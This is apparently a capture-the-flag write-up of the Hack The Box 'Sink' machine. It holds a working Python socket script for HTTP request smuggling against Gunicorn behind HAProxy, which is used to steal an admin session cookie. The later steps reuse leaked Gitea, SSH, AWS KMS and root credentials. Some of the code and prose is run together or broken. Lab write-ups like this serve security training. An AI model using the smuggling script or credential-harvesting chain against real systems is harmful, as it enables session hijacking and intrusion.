$ nmap -p- --min-rate 3000 10.129.53.114
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-03 06:39 EST
Nmap scan report for 10.129.53.114
Host is up (0.020s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
5000/tcp open upnp
Detailed scan:
$ nmap -p 3000,5000 -sC -sV --min-rate 3000 10.129.53.114
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-03 06:39 EST
Nmap scan report for 10.129.53.114
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=3361b69dad23d2ea; Path=/; HttpOnly
| Set-Cookie: _csrf=txpcHZ6RiB1aS-05VSKJ0-5qZl86MTcwOTQ2NTk0OTM2OTU1MTI2Mg; Path=/; Expires=Mon, 04 Mar 2024 11:39:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 03 Mar 2024 11:39:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=33683268230df717; Path=/; HttpOnly
| Set-Cookie: _csrf=hGm6toH_AOWa7TCGUhRDNhPBo-06MTcwOTQ2NTk1NDU1Mzc1NjE4OA; Path=/; Expires=Mon, 04 Mar 2024 11:39:14 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 03 Mar 2024 11:39:14 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
5000/tcp open http Gunicorn 20.0.0
|_http-title: Sink Devops
|_http-server-header: gunicorn/20.0.0
Port 3000 had Gitea, and port 5000 had a Gunicorn server. Added sink.htb to the /etc/hosts file as per standard HTB practice.
Note that this particular version of Gunicorn was vulnerable to HTTP Request Smuggling. Based on the date of the box release and the exploit, I'd say this is rather accurate.
There was one organisation, which was SinkSolutions, with all 3 users being part of it. I don't have any credentials and there weren't any public repositories, so I moved on.
Port 5000 had a Login page:
I already knew that this version of Gunicorn was vulnerable to HTTP Request Smuggling, so let's see what I have to use it for.
Created a new account and logged in to view a blog of some sorts:
The admin email is admin@sink.htb, and there were 2 functionalities: A comment section, and a Notes section.
Leaving a comment creates this:
And creating a new note does this:
When the requests are viewed in Burpsuite, I could see that haproxy was used to load balance the web application:
The above article states that the software has trouble processing the \x0b and \x0c characters.
A request like this would smuggle stuff in:
POST / HTTP/1.1Host:127.0.0.1:1080Content-Length:6Transfer-Encoding:[\x0b]chunked0X
TE.CL -> Gitea Creds -> User
To test this, I wanted to create a script that would do the request smuggling. Using the requests module is not possible, since it automatically appends a 'valid' request.
One alternative would be to use sockets to do this.
Using this, I can attempt to construct valid and smuggle requests. First, let's try to write a new note via request smuggling.
Here's my script. Sending a second cookie would make sure the smuggled result appears in my notes.
import sockethost ='10.129.53.114'port =5000# 30 is just a random length I pickedsmuggle =f"""0POST /notes HTTP/1.1Host: {host}:{port}Cookie: session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.ZeRieg.Mx4K8P6kYb2HZVLxPL5O4t--vEEContent-Length: 30 note=iamsmuggle"""smuggle = smuggle.replace("\n", "\r\n")valid =f"""GET / HTTP/1.1Host: {host}:{port}Content-Length: {len(smuggle)}Transfer-Encoding: \x0bchunked"""valid = valid.replace("\n", "\r\n")final_req = valid + smugglefinal_req = final_req.encode()sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))sock.send(final_req)
When I sent this script, it created an interesting note.
It included a bit of the previous request I sent. This confirms my script works!
When increasing the Content-Length, I noticed that it was writing the request from a delete request to 127.0.0.1, which was not from me:
Sometimes this request would not pop up, and I would get my own requests printed:
This is probably because some user is trying to access /notes/delete/1234, and if the requests happen at the right time, I can smuggle mine to write the next request into the note.
Because I was refreshing so often and sending back to back requests, it was hard to capture the full request to 127.0.0.1, as such I reset the machine a few times.
Eventually, I was able to retrieve this:
This gives me a new cookie, and when decoded I found that it was the admin cookie:
Refreshed the cookie and became the administrator!
Interesting. Time to test credentials on the Gitea instance, since that was the only thing I could access.
I could login with root:FaH@3L>Z3})zzfQ3 to view the repositories:
While looking at the repositories and the history, I that AWS was used here:
There were also some other credentials like this key:
I noticed that all of these commits were made using the marcus user. The most interesting branch was the Key_Management branch since it was archived and sorta hidden.
The Preparing for Prod commit contained a SSH private key:
Using this key, I could ssh in as marcus.
Privilege Escalation
General Enum -> AWS
Ran the usual enumeration scripts of linpeas.sh and pspy64. The first thing that stood out to me from linpeas.sh was that aws was installed on the machine:
[+] Useful software
/usr/local/bin/aws
Normally, HTB machines don't have this, so this is worth looking into. Earlier, I also found a key and secret variable, and various mentions of AWS in the repositories.
AWS Enum -> David Creds
I found the AWS keys and stuff in the log_management repository. First, I listed all the services:
$ aws list-services
This produced a lot of them, and I found the logs one. I used awslocal instead of aws, which just specifies to enumerate the local AWS instances.
I read the help manual, and found some interesting commands:
cloudtrail was a log group. To view the events, I have to obtain the --log-stream-name parameter. I found the describe-log-streams command, and thought this can be used:
As david, I had access to the ~/Projects/Prod_Deployment folder:
david@sink:~/Projects/Prod_Deployment$ ls -la
total 12
drwxrwx--- 2 david david 4096 Feb 1 2021 .
drwxr-x--- 3 david david 4096 Dec 2 2020 ..
-rw-r----- 1 david david 512 Feb 1 2021 servers.enc
This definitely had to do with the the Key_Management repository, and more aws since there wasn't david could do.
The Key_Management repository seemed to be using the Key Management System service, which is what KMS stands for:
There's probably a key I can use to decrypt the file. Listing the keys shows a lot:
The key thing is the Enabled field, which seemed to be false for most. I checked each manually, and found that c5217c17-5675-42f7-a6ec-b5aa9b9dbbde were both enabled.
Afterwards, I can attempt to extract this archive:
david@sink:~/Projects/Prod_Deployment$ mv output output.gz
david@sink:~/Projects/Prod_Deployment$ gzip -d output.gz
david@sink:~/Projects/Prod_Deployment$ ls -la
total 24
drwxrwx--- 2 david david 4096 Mar 3 13:32 .
drwxr-x--- 3 david david 4096 Dec 2 2020 ..
-rw-rw-r-- 1 david david 10240 Mar 3 13:31 output
-rw-r----- 1 david david 512 Feb 1 2021 servers.enc
david@sink:~/Projects/Prod_Deployment$ cat output
servers.yml0000644000000000000000000000021313774573563012010 0ustar rootrootserver:
listenaddr: ""
port: 80
hosts:
- certs.sink.htb
- vault.sink.htb
defaultuser:
name: admin
pass: _uezduQ!EY5AHfe2
This password can be used to su to root:
Rooted! Lots of AWS, and the initial vector was so interesting, never used sockets to send request like that before.